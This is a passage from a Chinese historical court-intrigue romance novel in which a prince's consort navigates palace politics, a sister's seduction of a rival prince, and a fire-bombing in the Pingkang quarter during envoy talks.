胳膊受伤一事并未刻意隐瞒,王府上下都知道这是给王爷解毒导致的,没一个人敢来打搅她。
宋檩借此赖在院子里养伤,足不出户。
林武虽会带外头的消息进来,朝堂上的事情到底没那么灵通。
午膳过后,她窝在摇椅上晒太阳,阳光逼得人睁不开眼,桂花的香气直往梦里钻。
打在脸上的阳光突然消失,风吹过来有些凉,宋檩秀眉微拧。
“林歌,你挪挪,挡我太阳了。”
瞿昙往前走了几步,坐在石凳上,见她仍无醒来的打算,无奈出声,“王妃的伤如何了?”
宋檩以为出现了幻觉,眯起一条缝向外看,见来人果真是他,才从摇椅上起身。
她的视线落在那张脸上,瞧着气色不错,应该是压制住了。
可一想到她眼下的伤是这人造成的就气不打一处来,“王爷没事就好,我这点伤算什么?”
瞿昙抿唇不语。
那天晚上昏迷过后的事情他都记不清了,醒来只觉得满嘴血腥味,左边脸有些疼。
惊风说他进门时看到自己袒胸露乳躺在地上,不省人事。
醒后也找黎樾问了话,他倒是没隐瞒,把知道的和猜测的都说了。
一想到自己在意识不清醒的状态下对她造成了伤害,他就觉得自己太不是个人。
如苑是王府的主院,两人虽同在此处,却各有小院子,等闲也不会串门。
他将揣了一路的药膏放在石桌上,歉意出声,“对你造成的伤害,我非常抱歉,这是生肌膏,每日涂抹三次,伤口处不会留疤。”
宋檩扫了一眼,点头收下,“谢了。”这可是个好东西,不要白不要!
林歌奉上茶水,又默默退下。
“王爷今日过来,不会就为了送这个吧?”她端来茶盏,轻轻抿了一口,朝生肌膏努了努下巴。
几次交道下来,瞿昙总结出个规律。别看这个王妃人小,却不是忸怩的性子。
跟她说事,最好不要拐弯抹角,有事说事,别动不动煽情,她不喜欢欠人情债。
刚好,他也一样。
“今日早朝,圣上宣布了与胡人谈判的人员名单,五殿下任大鸿胪,全权主理此事。”
宋檩微愣,放下手里的茶盏,从躺椅上起身。
此事她确实还不知情。
东海五郡兵马一事尚无着落,倒是先来了这件事,如此说来,胡人使臣应当快到中都了。
“胡人使臣何时抵京?”
“快了,应该就这两日。”
没有人比将军更清楚行军脚程,既然瞿昙这样说,那就一定没问题。
奇怪,先前太子和承王一直为这事争得不可开交,怎么毫无征兆地落到阿兄头上呢?
她知阿兄就是因为这事回京,但绝不会全权主理,顶多从旁协理,给胡人施压。
到底哪个环节出了问题?宋檩百思不得其解。
瞿昙见她一脸疑惑,猜测是想到了这一点,开口道:“据说,是承王在大殿上力荐。”
原来是他。
太子与承王为这事僵持不下,谁也不让谁,圣上没少头疼。与其继续跟他斗,倒不如主动出击,替圣上解围。
如此一来,既在圣上跟前博得一个识大体的名头,又能送一份人情给阿兄。
承王此举,果真得了圣上亲传。
只是,法子讨巧,阿兄却绝非他能拿捏的人。
宋檩敛下眼里的喜悦,不动声色地打量对面的人,他的消息很灵通啊。
“王爷虽幽居府内,朝堂中事倒是没少关注。”
瞿昙也不瞒着她,坦然道:“想幽居府内,自然少不得手段,王妃不也一样?”
知道结果只是时间问题,她手边那个林武可不是吃素的。
宋檩没有作声,他们都知道,这年头没点手段只会跟那些被吸干的家族一样,半死不活,不可能有真正的清净。
“看王爷的样子,毒素应当暂时被压制了,近段时间都不要与人打架,乖乖待在府里,应该能扛一阵子。”
瞿昙眼皮一掀,笑得无害,“待在府里?恐怕要让王妃失望了。”
宋檩脸上笑意全无,“我有言在先,倘若你在外头毒发出事,可不能算在我的头上!”
亏得自己费尽心思帮他,一点都不珍惜别人的劳动成果,她才不要给这种人好脸色。
“并非我不听王妃的话,实在是接下来日子不太平。”他两手一摊,无奈极了。
这话确实不假,胡人使臣一旦入住鸿胪寺,又会掀起新的风波。
思前想后,她还是决定出去一趟。
“我有事出府一趟,王爷自便。”
半个时辰后,一辆不起眼的马车在五皇子府外的角门处停下,车上下来两个被白色风衣裹住的人。
环顾四周,确定无人,宋檩点头,林歌去叩门。
门从里边打开一条缝,守门的小厮探出脑袋,见来人是两个衣着不俗的姑娘,疑惑出声,“你们找谁?”
林歌低声道:“劳烦去通报一下,就说秦王妃来了。”
听到秦王妃的名头,小厮吓了一跳,忙把门打开,躬身将人请进府,“请恕小人眼拙,没能认出贵人,快些府里请!”
他毕恭毕敬道:“殿下吩咐过,若是秦王妃来府上,直接领进府招待。”
他虽有意压低声音,宋檩却能听见,拢了拢米白色的外衣,往门内走去,“有劳。”
林歌很有眼力,从荷包内取了碎银子打赏。
华承璟从宫里回来就去了书房,现下正在看东海五郡的舆图。下人报秦王妃来府上后,他放下手里的事就往外走。
“阿眠!”远远见到来人,华承璟快步迎了上去。
宋檩见他眉心微蹙,调侃道:“都说人逢喜事精神爽,阿兄怎地一副愁眉苦脸的样子?”
“果真是长大了,都会打趣人了。”他轻轻敲了一下宋檩的脑门。
“你身体不适好生在府里养着就是,有什么事情差林武过来就行,何必亲自跑这一趟?”
秦王府没有刻意隐瞒,她受伤的事情,有心人都知道。华承璟自然不是例外。
宋檩不想浪费时间在解释这件事情上,她提起裙摆转了几个圈,稳稳落在地上道:“阿兄看,我这不是没什么事吗?”
“外头风大,有什么事进去说。”
宋檩跟他进书房,林歌去找熟人说话,来到这于她就是回家。
眼尖的她看到墙上挂着的两张地图,一张是北疆,另一张临海,应当是东海五郡。
“阿兄的烦心事,可是跟东海
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五郡有关?”
北疆不比东海,内算不得核心地域,外又有劲敌,身处这样的环境,即便是世家大族也不敢轻易揭竿而起。
于华承璟而言,那里早已是囊中之物。
华承璟招手,把她叫到舆图前,指着图上道:“这段日子赋闲在京,看了下东海的布防,不得不担忧啊。”
行军打仗的事她不懂,华承璟是行家。他说有问题,就一定有问题。
“阿兄发现了什么?”
宋檩盯着东海布防图,视线随他的手指游走在海防线上。
“东海富庶,历史上多次遭倭寇来犯,这十几年虽相安无事,但不能保证这样的安宁日子还能持续多久。”
“驻军早已名存实亡,一旦敌袭,如入无人之境。”
东海五郡若失,中都危矣。
“圣上可知晓此事?”
那个在圣上跟前提及东海兵马一事的人,难道就没提一嘴东海局势?
华承璟摇头,“无凭无据,不会有人去触这个霉头。”即便说了也不会信。
雪崩没发生前,无人会在意雪山美貌之下潜藏的危险,宋檩叹气。
“听说承王举荐阿兄为大鸿胪,全权负责此次与胡人的会谈,圣上已经应允。”
华承璟转身惊讶地看着她,点头道:“不错,才确定的事,阿眠消息倒是灵通。”
宋檩眼神躲闪,“会谈成员……阿兄可有人选?”
鸿胪寺负责日常的官员不多,大多是太子和承王的人,根本不会听他调遣。
何况此次会谈是一个契机,不仅能在圣上面前展现个人能力,还能给中立之臣一个选择。
“我打算请南泓先生出山。”
南泓先生名声在外,更是大昭的礼法典范,他若出任客卿,会谈就成功了一半。
先前太子和承王为此事争执不休,双方也都有请南泓先生出山的打算,只可惜这门差事谁也没捞着。
“阿兄打算如何请南泓先生?”
上回的闲谈中她听出来,先生大才,绝非常人能驾驭。
华承璟显然也没想出个头绪,转而问她,“阿眠可有好的建议?”
他与南泓先生相识多年,又怎会不知先生的想法?接下三清门的时候,他已经断了入仕的念头。
宋檩摇头,“先生僻居多年,好容易才从俗事里抽身,如今又拿红尘事扰他清净,实在不应该。”
“阿眠有更好的人选?”华承璟拧眉,他并不认为还有比南泓先生更合适的人选。
上次在竹林小院关于“战与和”的探讨,先生虽未直言,却不难发现他认同阿眠的观点。
觉察他的视线,宋檩立马警觉,“阿兄这般看着我做甚?”
“会谈关乎大昭利益,且不说我一介女流,就咱俩的关系,事情成败与否,你都会落得个任人唯亲的骂名。”
展现实力固然重要,爱惜羽翼亦不能缺。
眼见他打消了心里的想法,宋檩摸了摸下巴,神秘兮兮道:“我倒是有个主意。”
华承璟没出声,等着后话。
“阿兄可还记得先生身边那个人?”
“青桐?”他恍然道:“他出身颍川庾氏,在南泓先生身边修习多年,可行。”
原来他叫庾青桐,宋檩记下了这个名字。
24. 来接你回府
太子府,书房。
幕僚全围坐在一处,就会谈一事展开了激烈探讨,分歧很大又各执己见,谁也说服不了谁。
华承乾坐在主位上不搭话。
以单孤臣为首的激进派提倡主动出击。承王举荐了五皇子,他们也不能落了下乘,确保五皇子不站队。
而尹春秋为首的保守派主张按兵不动,认为五皇子前朝后宫都没人,掀不起风浪。
公说公有理婆说婆有理,听得他头大。
“诸位卿家说得都在理,但本殿是请你们拿主意,而不是来为难本殿。”华承乾开口,颇有几分咬牙切齿的意味。
尹春秋捋了捋胡子,率先开口,“五皇子留在京城,又手握兵符,殿下还需早做打算。”
“五皇子留下来,是承王的功劳,还请殿下三思!”单孤臣起身作揖。
为首的人表了态,其他人纷纷附和,华承乾的眸子越发阴沉。
这场辩论以单孤臣为首的激进派取得胜利,尹春秋虽有不服,却不得不服从多数。
单孤臣立于人前,拱手道:“殿下,孤臣斗胆,恳请殿下答应一件事情。”
华承乾何其自负的一个人,又怎会不知他口中的事情是什么?本就阴沉的脸越发黑了。
箭在弦上不得不发,单孤臣必须赌一把,咬牙道:“恳请太子殿下在秦王妃的事情上多些耐心。”
秦王妃和五皇子虽是表亲,关系却极好,她是处理五皇子一事的关键。要处理好和秦王妃的关系,核心在太子。
退婚一事中都城人人皆知,此后太子和秦王妃各自婚嫁,再无联系,便是碰着了,也没个好脸色。
身为太子幕僚,此事他们心知肚明。
“单孤臣,让本殿给一个女人低头,看来平日还是对你太纵容了。”华承乾的声音阴恻恻的,大有风雨欲来之势。
咚的一声响,单孤臣笔直跪在地上,“殿下,孤臣非有此意!”
“若她单单只是相府大姑娘,孤臣绝不多言。”
“秦王妃的身后不只是相府,还有秦王府和五皇子。秦王府虽不参与派系之争,可她是王府主母,若诞下子嗣难免生出私心。”
“秦王府和五皇子手里,握着大昭半数兵马,请殿下三思!”他跪地磕头,额上出了血。
“请殿下三思!”以单孤臣为首的激进派人纷纷跪地请求。
尹春秋活了一把年纪,虽不赞同他与华承璟交好的策略,但直觉告诉他,华承璟和秦王府绑在一起不是好事,更何况还多了个宋明书。
但这话单孤臣不会听,太子又不愿听,所以他不会说。
不与秦王妃交恶,至少暂时于他们有利。
思及此,他缓缓跪地,俯首道:“我等既为殿下幕僚,自当全心全意为殿下分忧,单孤臣所言,确有利殿下,还请殿下三思!”
“请殿下三思!”
自此,全部幕僚达成一致。
华承乾扫向跪了一地的幕僚,拳头松了又紧,紧了又松,缓缓睁开眼,“本殿……允了。”
“单孤臣,此事交由你去办,办砸了就提项上人头来见!”话落,他甩袖离去。
从五皇子府出来,宋檩没有直接回秦王府,而是转道去了相府。
她没惊动任何人,甚至没有让人提前通禀,以至于宋明书见到她时吓了一跳。
“你这丫头,怎么回来也不差人说一声?”宋明书又喜又忧,高兴她回来,又担心她在王府受了委屈。
宋檩不想他担心,故作委屈道:“果真嫁出去的女儿泼出去的水,爹爹竟然不想阿眠回来么?”
“胡说!爹爹巴不得天天见到你!”他吹胡子瞪眼的样子有些滑稽。
“我刚从阿兄府里出来,有些事情想跟爹爹问个明白。”她坐在宋明书身侧,眼神在糕点上定住,捻起一块就吃。
宋明书把果脯往她跟前推了推,侧身倚在扶手上,“什么事这么神秘?”
宋檩身子前倾,细声道:“爹爹曾经和侯卫使是同窗,觉得他为人如何?”
“阿眠怎么突然对他感兴趣了?”宋明书一脸疑惑。
“知己知彼嘛,爹爹快与我说说。”她随便扯了个理由搪塞过去。
宋明书思索一番,才发现和侯振培同窗多年,却不知该从何说起。
他叹气,“我们曾经关系不错,他性子讨喜,又是个有骨气的。”
“只是当年老师举荐了我,他心有怨怼,从家里回来就跟变了个人似的,我打听过才知他家里遭了变故,家人没了,只有个妹妹还在世。”
“也就是侯宛仪。”
宋明书揉了揉胀疼的眼睛,声音有些疲惫,“这之后就是国公府出事,我与他就断了联系。”
这么看来,侯振培的性子变化蛮大,可惜她没见过人,全是传言。
宋檩摸着下巴思考,“爹爹容忍侯氏,跟他有关系?”
谁人不知宋相与发妻文卿情深,和如今的夫人侯氏感情不和?可宋檩看到的,却是另一面。
宋明书眼神闪烁,点头应下。
果然跟她猜测的一样,宋檩叹气。
“我还有一个问题,”她举起手掌,似乎下了很大决心,“侯宛仪,是不是宫里那位的人?”
宋明书默了一瞬,表情复杂地看向她,艰涩出声,“其实……我早就知道了。”
她眉头一挑,却不觉得惊讶,一国之相又怎会分不清好坏呢?
“爹爹既知她身份,为何还要留在身边?”以她这些年的所作所为,赶出府都是轻的。
有一点她还不明白,已经知道她的身份,为何还要任由她生下两个女儿?
她很确定宋明书对侯宛仪没有私人感情。
“她有备而来,不弄清楚,总是个变数,放在身边,何尝不是一种监视。”宋明书看向窗外,一脸惆怅。
有些话他不能告诉阿眠,但自己心里有数。
“爹爹可有想过,娘亲的死……或许跟她有关。”宋檩并不赞成他的做法。
宋明书身子一怔,眸中闪过惊愕,“你的意思是……”
“我没有证据。”宋檩摇头。
身为一个晚辈,她知道不能在爹爹的私事上指手画脚,却为文卿姑姑感到不值。
“我记忆里还有娘亲的模样,她向来是个爱笑又温柔的女子,身体一直很好,即便因国公府一事遭受摧残,也不可能不到一年时间就病逝。”
“爹爹就从来没有怀疑过吗?”
宋明书眸子闪烁,不敢正视她的眼神。
她知道,自己的猜测没问题,这里边一定还有另外的原因。
“阿眠,这件事情既然已经过去这么多年,就不要再追究了。还有,关于文国公府的事情以后莫要再提,要是被圣上知道,恐会牵连秦王府。”
宋明书担心这话被人听了去,只能压低了声音告诉她。
宋檩还想说些什么,却被外边的敲门声打住,来人是展颜。
“相爷,姑娘,秦小王爷来府上了,就在前厅。”
这话一出,不只是宋明书,宋檩也有些惊讶,他来相府做什么?
“你让王爷来的?”宋明书一脸疑惑地看向她。宋檩两手一摊,来相府都是临时决定的,怎么可能告诉他?
不管怎么说,来者是客,他这个主人没有不见的道理。宋明书来不及收拾,掸了掸衣服,拉着宋檩就往前厅去。
两人到的时候,瞿昙已经喝上了茶,一点儿也不着急的样子,宋檩有些拿不准了。
“下官见过王爷。”
瞿昙放下茶杯,微微颔首,“岳父大人免礼。”
宋檩奇怪地看他一眼,又垂下了眸子。不知道为什么,她总觉得他今日出现在这有些怪。
“不知王爷前来……”宋明书受宠若惊,不敢造次。
瞿昙轻笑,从椅子上起身,来到他的身边,虚托一把将人扶正,又到宋檩身
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侧站定。
“岳父大人不必多礼,我今日前来,是接王妃回府。安管事特意叮嘱,一定要带王妃回府用晚膳。”
宋檩肆无忌惮地打量他,眨巴的眼睛里满是疑惑,安管事待她确实不错,但也没到要瞿昙亲自接自己回府的程度吧?
宋明书却闻到了一丝不对劲的味道。
都说男人最懂是男人,他有在乎的人,瞿昙这小辈在自己跟前显然藏不住。再看向自家姑娘,眼角有些突突,他这傻姑娘怕是还没开窍。
“啊……都到这个时辰了!阿眠,既然王爷来了,爹爹就不留你在府里用膳了,随王爷回去吧。”他笑呵呵起身,也乐得送个顺手人情。
宋檩有些无语,她到底有多不招她家美人爹爹的待见啊,竟然想早点把她赶走。
有外人在场,她也不矫情,给宋明书行了一礼,拽着瞿昙离开。
马车上,宋檩终于憋不住了,问出自己的疑惑。
“王爷?”
瞿昙睁开闭了半路的眼睛,眼神看着她,示意她继续。
宋檩一阵憋屈,又觉得莫名难受,“王爷怎么突然来相府了?”
瞿昙嘴角微勾,眼底闪过一抹笑意,“来接王妃。”
宋檩:“……”
“王爷,咱俩之间还没熟到这个程度吧?”她摊了摊手,坐到一边,不再搭理他。
瞿昙觉察到她的不高兴,嘴唇紧抿住,也不知道该怎么办。难道他说错话了?可他真的是来接她的呀!
“你在生气?”
宋檩瞥了他一眼,继续不搭理,难道这还不够明显?
瞿昙郁闷了,女孩子的情绪都这么复杂?他想到了桑无疾提过的话本子,虽然都是些无聊的消遣物什,却耐不住他是个好风月的,总要亲自去评上一番。
记得其中有些桥段就是如何讨女孩子欢心,他动了动嘴,试探道:“晚上太黑,你一个人不安全。”
宋檩一副见鬼了的眼神看着他,很快挪开了视线。她严重怀疑今天的瞿昙被什么不干净的东西附身了。不安全?不安全的是别人吧!
且不说有林歌跟着,林武还在暗处,单凭她的身手,一般人想在她这里讨到好处难上加难。
许是觉得眼前这位太直男,又或者是不想影响到以后两人的合作,宋檩坐正了身子,打算跟他好好掰扯一下。
“王爷,我们打个商量呗!”
见她态度严肃,瞿昙也认真起来。
宋檩看了他一眼,继续道:“我们现在是夫妻,即便以后散了,好歹也算朋友吧?咱们以后说话能不能多几分真诚,少点算计?”
她是从阴谋算计里爬出来的人,要论阴谋和手段,绝不输任何一个人,甚至很多时候,都是游刃有余的。
但她既然拿出了诚意,就不希望被算计掉,那会让她觉得自己看走了眼,不愿再去结交这个人。
瞿昙身份不同,两人如今一荣俱荣,一损俱损。更何况,顶着秦王妃的身份,有些事情做起来更方便。
所以她决定跟人好好谈谈,是第一次也会是唯一的一次。
瞿昙有些莫名其妙,他头一回对女孩子好,不领情就算了,还被说不真诚,心里很不是滋味。
但想到两人年龄差有点大,想法不一样也属正常,又很快释怀。
“我不知道你心里怎么想,但来接你,确实是担心你的安全,你应该知道自己现下的处境。”他一脸真诚,完全不像撒谎的样子。
宋檩疑惑,难道真错怪他了?
“王爷觉得我没有自保的能力?”
“我自然相信你的能力,到底伤神,能不用就不要用。”他想也没想道。
这话她赞同,既是误会,解除了就好。
“多谢王爷好意,我为刚才的失言道歉。”她能屈能伸,能说开的事情绝不生闷气。
瞿昙瞥了她一眼,“也不怪你。”不知道为什么,他心里竟有种说不上来的失落。
25. 真如她所言
清晨的阳光温柔地洒在大地上,天空湛蓝如洗,宋檩踏着微风出门。
今日去燕鹭湖游船,她起得格外早。
马车已经在门口等候,掀开帘子,入眼就是熟悉的人,宋檩想也没想放下帘子。
林歌疑惑地凑上前来,却被她拦住,扭头问向一旁候着的人,“安管事,不是说马车已经备妥,在哪呢?”
安管事一脸疑惑,指着她跟前的马车,“王妃,马车就在这呀!”
莫非他老眼昏花看糊了眼?
“这不是王爷的马车吗?”话落,她眼皮一跳,难道他也去游湖?
安管事笑得一脸褶皱,“王爷和王妃去游湖,自然坐一辆马车了。”
他也去?宋檩觉得莫名其妙。
怪道今日的马车大了不少,还挂着王府的标志,原是他也出门。
经过一番心理斗争,宋檩掀开帘子上了马车。
“不是告诉你近些日子不要到处跑,在府上歇着吗?”睡眠阵法治不了本,施展却很费精力。
瞿昙却毫不担心,“有王妃在,我还担心什么?”
虽然是这么个理,但好话谁不喜欢听?她的嘴角根本压不下来。
“我可告诉你,睡眠阵法是一个很强又很脆弱的阵法,可以让强于千倍的力量瞬间休眠,但从内部很轻易就被瓦解。”
“简单来说,只要你不动用内力,近半月都不会毒发。”
这还是她头一回跟自己聊起阵法,黎樾说过,照她的法子尝试几次效果不佳,想来关键在阵法上。
“我对阵法也有些了解,不过仅限于行军布阵,与你修习的不大一样。”
难得遇到个有共同话题的人,宋檩也来了兴致,一脸得意道:“那当然!阵法一道颇为深奥,就连我,也不过知晓冰山一角。”
他眼里瞬间有了光,很喜欢这副张扬的样子,“王妃深谙阵法一道,放眼整个大昭,应是再找不出第二个有如此天赋的人了。”
宋檩很享受被人夸,尾巴都要翘天上去了,“这话我爱听!”
马车摇摇晃晃,伴着笑声往燕鹭湖去。
燕鹭湖。
一袭宽袍罩住的宋沅在人群中穿梭,她目光坚定,直指道路尽头的游船。
今日她的打扮费了不少心思,穿着宽袍看不出什么,脱下就是别有洞天。
“三姑娘,请跟在下走。”一个侍女来到她身边。
春雨虽打小跟在她身边,却是母亲的人,她既做了决定,就不会再用,故而今日出门谁都没有带。
这个侍女是承王府的人。
“你就在这里候着。”她在上游船前止步,转头对身后的侍女说道,示意她不用上船。
月心虽是承王府的人,却只是个不起眼的洒扫丫头,被派来相府三姑娘身边当大丫鬟,吃穿用度能得到很大改善,这是天大的殊荣。
她乖巧地退到一旁,不再跟着。
宋沅径直上了游船,见到华承坤时才拿下帽子,躬身行礼。
“见过王爷。”
眼前的男子高大伟岸,容姿不俗,又身份显贵,权力非凡,看得她脸颊泛红,心脏止不住地乱跳。
华承坤瞥见她宽大的外袍,觉得碍眼极了,忙从蒲团上起身,上前拉过她的手,一脸深意道:“三姑娘这身袍子有些不合身。”
宋沅唇角微勾,将他的手放在胸前系带上,挑衅出声,“这袍子既碍了王爷的眼,任凭王爷处置。”
他眼神微拧,拽掉系带,宽大的袍子滑落肩头,掉在地上。
眼前女子虽未及笄,身段却一点不差。华承坤的眼神越发肆无忌惮。
“三姑娘这是作何?”男人那点矜持全在嘴上,眼神里溢出的却是风流。
她可不惯着。今日既然来了,就没想着全乎地回去。
宋沅抓起他的手缓慢放下,挑衅道:“王爷……似乎掌控不了沅儿。”
华承坤眼眸忽动,手上正要有所动作,就被她一把甩了出去。
“这船似乎不是王府的,害得沅儿好找。”她环顾四下,娇俏一笑,刚才的事情就跟不存在似的。
很好,华承璟深吸一口气,耐心道:“这是一个好友的船,自然没有王府标识。”
说话间,他拉住宋沅的手一同落座。
宋沅心下了然,笑道,“王爷的这位好友,一定是个身价不菲的商人。”
他眉头轻挑,对于宋沅能猜到游船主人的身份一事颇有些吃惊,“哦?沅儿如何得知?”
被他叫了亲昵的称呼,宋沅心里窃喜,面上却不显。
她抿了口茶水,不疾不徐道:“这船上的陈设多为价值不菲的佛座与翡翠,可见主人对财富的执着。我瞧着茶几炉子多有使用过的痕迹,想来游船的主人十分喜爱这艘船。”
华承坤赞许地看了她一眼,毫不吝惜夸赞,“沅儿所言不假,本王这位好友确实喜爱得紧!”
“王爷过奖,沅儿不过信口之言。”
华承坤满不在乎地摆了摆手,“沅儿不必自谦。”
他眸子闪烁,看向宋沅的眼神带了几分探究,“京中人士只知相府大姑娘深居简出,二姑娘德才兼备,殊不知三姑娘也是个观察细微的可人!”
宋沅并不因他的夸奖高兴,垂下的眸子里带着些道不明的落寞,“王爷见笑了,旁人不知其中缘由,难道王爷还不知道吗?”
不知何时起,她已经抬起了眼睛,一副楚楚可怜的样子。
华承坤心下一喜,看来这回有戏。
他还没来得及说话,宋沅已经自嘲出声。
“大姐姐自小养在老国公膝下,二姐姐更是爹娘心里的骄傲,都是命,沅儿又能怪谁呢?”她轻飘飘的两句话,却已经给华承坤传递了一个讯息,她需要他。
华承坤知道,这是一个绝佳机会。只要她能娶宋沅,秦王府和相府都与承王府有了千丝万缕的关系。
相府,秦王府,卫使府,既然已经乱了,那就再乱些吧。
他克制住内心的窃喜,一手捞过宋沅摁在怀里,一手端起茶杯,“哦?本王觉得,沅儿不是那种任人宰割的人。”
宋沅欲起身却被他按住了动弹不得,扭动了几下身子,两手攀附在他的肩膀上,恳切出声,“若王爷不弃,宋沅愿意为王爷效命!”
男女之情在华承坤这里从来不算什么,他也不
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认为这位可以跪在他身上的女子只是单纯地倾心自己。
传闻中胸大无脑的相府三姑娘,只对了一半。
他的身份与地位从不缺女人,但他需要女人来制衡。
华承坤缓缓靠近她,附在她的脖颈间嗅了嗅,舌尖滑过她的耳垂,“可想好了?”
他走的这条路荆棘丛丛,实力和手段才是硬道理。
宋沅从来都知道,开弓没有回头箭。娘只会将她许给一个寻常人家,与其如此,倒不如自己搏一搏。
她深吸一口气,大胆贴近他的身子,“宋沅……愿意追随王爷!”
华承坤见她一脸真切,嘴角轻扬,“好!本王明日便请父皇赐婚!”
宋沅原想拿身子为自己搏一个机会,如今保全了身子,还意外得到承王的求婚,完全是意外收获。
没在船上逗留,她裹上宽袍匆匆离去。
紧挨着的一艘画舫里,宋檩和瞿昙目睹了全程,心情不错。
她对空气挥了挥手,示意林武跟上去,一阵波动后归于平静。不得不说,阿兄的人实在给力!
瞿昙掀了掀眼皮,没有动作。突然重重叹了口气。
宋檩看了看他,眼神古怪道:“王爷这般叹气,难道说今日这免费的戏不好看?”
“很精彩。”相府三姑娘诱惑权贵王爷,可不就很精彩嘛!
宋檩的关注点显然错了,她点头附和,“要说不说,我三妹妹的身材那是相当有料!”
瞿昙:“……”怎么听出了一丝羡慕和遗憾呢?
“王妃……真是个直爽人。不过我的精彩不是这个。”
她挑眉,等着后话。
“太子,承王,相府一下子招惹了两个,你可想好往后如何自处?”
一府两女嫁皇室,看似高贵,实则危险重重,稍有不慎就会万劫不复。且不说宋明书对这两女并无感情,即便费尽心机,她们也不是那等服从管教的人。
偏偏宋明书的心朝她倾斜。
“你这是担心我?”
“我是在关心你。”瞿昙正色道。
宋檩摆了摆手,无所谓,意思差不多。
“这你就不用操心了,她们是她们,相府是相府,不论发生什么事情,相府都不会被她二人牵累。”
她笑得狡黠,神秘兮兮道:“而且,宋沅走出这一步,是侯氏的因果,与相府可没什么关系。”
“一个偏私,一个藏私,”她掰着指头道,“我就是好心,给她们创造一个彼此坦诚的契机。”
果然有她的手笔,瞿昙心底那个被摁住了的疯狂念头似有复燃之势。
“本王尚在一日,秦王府永远是你的后盾。”
好端端的,怎么说起这个了?
宋檩不解,只一味点头。
她掸了掸衣角,正要起身回府,一道爆炸声传来。响声震耳欲聋,画舫剧烈摇晃,茶杯落了一地。
宋檩整个人往一边倒去。
瞿昙一手圈住她的腰,退倚到窗边才站稳脚跟。
“发生了何事?”他恼怒道。
惊风动作僵硬地指向不远处的岸上,那处浓烟滚滚,火光四现。
26. 平康坊被炸
宋檩几人一下画舫就往发生爆炸的地方去,赶到时火势仍很大,却不见官兵的影子。
“王爷,平康坊是燕鹭湖沿岸最繁华的地方,房屋太密,火势继续蔓延的话,这几条街都保不住。”惊风勘查后回来禀报。
“桑无疾在什么地方?”
“桑公子正在安排人手灭火。”
听了他们的话,宋檩才想起燕鹭湖是桑家产业。
这地儿的房子全由木头瓦片砌盖,楼间距太小,一旦着火根本没法保全。加之刚才爆炸动静太大,还不知道人员伤亡情况。
“火势太大,根本灭不掉,先救人!”说罢,宋檩就要往着火的屋子里冲。
瞿昙一把抓住她,劈头盖脸就骂出声,“你不要命了!”
她一把甩开禁锢,指向燃烧的火焰,大吼道:“我去救人!”
“火势这么大,人员那么多,你怎么救?”他万万没想到这小王妃固执起来拉都拉不住。
“人命关天,能救一个是一个。”
瞿昙被她气得语无伦次,拽起她的胳膊,把人扔给林歌,声音冷冷道:“护好王妃!”
话落,义无反顾走向着火的大楼。
平康坊闹出的动静太大,京兆府派了官兵过来,又有桑家和秦王府的人协助,大部分被困火海的人都被救了出来。
宋檩麻木地看着那些被抬出来的尸首,有些已经面目全非,没了命。命大的捂着被烧伤的地方一路哀嚎。
来时有多风光,此时就有多狼狈。
看吧,不论多显贵的身份,在灾难面前都会不堪一击。这场爆炸,彻底葬送了平康坊的体面。
惊风顶着一张烟灰脸过来,拱手行礼,“王爷今日有事,让属下护送王妃先行回府。”
火仍在烧,既跟桑家有关,他一时半会儿应该走不掉。
不知是不是站久了,宋檩只觉两条腿跟灌了铅似的,挪动艰难。
“你去护着王爷,不必管我。”
惊风知她的本事,也不多说,转身离开。
“姑娘,属下护你离开!”
横眼扫去,宋檩看到了文献礼的身影。既然京兆府和廷尉府都到了,她一个妇人在这没什么大用。
可恨她修习的阵法是木属性,遇火则焚,空有一身本事却没法施展。
“我们走。”
林歌护着她往人群外跑,好不容易跑到了大路上,正要去租个马车回府,却被宋檩拽住。
她疑惑地看向眼前人,“姑娘?”
宋檩做了一个噤声的手势,指向一边的巷子,才发现那里有几个人鬼鬼祟祟的,虽作商户打扮,行迹却很可疑。
两人对视一眼,悄悄跟了上去。
宋檩听不懂几人在说什么,隔得有些远,嘈杂声太大听不明白。但有一点她可以确定,这几个人不是大昭人。
“可看出这些人的来历?”
林歌摇头,“暂时不知。”
但可以查。林歌担心她受伤,催促着人离开。
宋檩被逗笑,凭她的本事,一般人也奈何不了吧?
她似笑非笑地看向林歌,“你刚才在看什么?”
林歌欲言又止,在犹豫要不要说。
难道还有什么是她不能知道的?宋檩挑眉。
林歌压低了声音,深邃的眼眸里划过疑惑,“属下只是觉得……他们腰间的纹饰有些熟悉,在哪里见过却想不起来。”
“回府,这件事我让林武去查。”
平康坊爆炸,由于采取措施果断,烧了一条街,损失不小。
中都城发生这样的案子,宿卫京师的一应官兵难辞其咎。消息传入宫里时,圣上抓起砚台就砸了京兆府尹,当场见血。
逆鳞卫也没逃过骂。
次日,人们就发现,即将卸任的虞廷尉一身官服出现在平康坊。
林歌说着打听来的消息,一阵唏嘘,“天子脚下发生这样的事情,又逢会谈,中都怕是要戒严了。”
“戒严?”来到大昭,还没遇到过这回事。
林歌点头,“大昭迁都以来国泰民安,已经多年没有戒严过了。”
“一旦戒严,进出城都会严查,夜里还有宵禁,走在大街上也随时会被盘查。”
戒严之下,暗地里的很多东西都会暴露出来。
不知为何,她隐隐觉得这件事情没那么简单。
“王爷还没回府?”
“未曾,”林歌摇头,“安管事说,昨夜惊风回来了一趟,拿了些王爷的换洗衣物。”
他昨夜未回,事情果然跟预想的一样棘手。
宋檩坐过一家之主的位子,算计过很多人,但她从不对手无缚鸡之力的平头百姓出手。
“我记得平康坊一带住了不少船民。”
“姑娘说得没错,爆炸来得突然,有权有势的人大多被救了出来,沿线住着的船民即便逃生,现下也是居无定处。”
“戒严后,燕鹭湖一带不少人都没了生计。”
当个伙夫厨子,或者船夫小二,挣得虽不多,尚能养活一大家子。失去这份活计,养家糊口就成了难事。
宋檩叹气,“你去找阿庆,把她手里几个铺子上半年的营收拿出来,全部交由安管事,以王府的名义去城南施粥。”
“一切事宜都听他安排,王府人手不够的话,就在保障铺子正常运营的前提下抽调些出来。”
林歌感念姑娘的良善,拱手道:“属下替那些灾民谢姑娘。”
她离开不久,林武带来了胡人入京的消息。
“我让你调查的事情可有线索?”
林武摇头,“暂时没有线索,那些人就跟原地消失了一样,毫无踪迹。”
他抬眼看了宋檩一眼,犹豫出声,“王妃,属下发现,王爷和廷尉府也在追查那些人的下落。”
那个节骨眼出现在平康坊,实在形迹可疑,被盯上很正常。
瞿昙的人本事比她大,消息灵敏,被他盯上,想知道结果,等他回府就可以了。
宋檩抬手,“这件事你别管了,城中戒严,行动起来不方便,你去趟青州,查一查侯振培。”
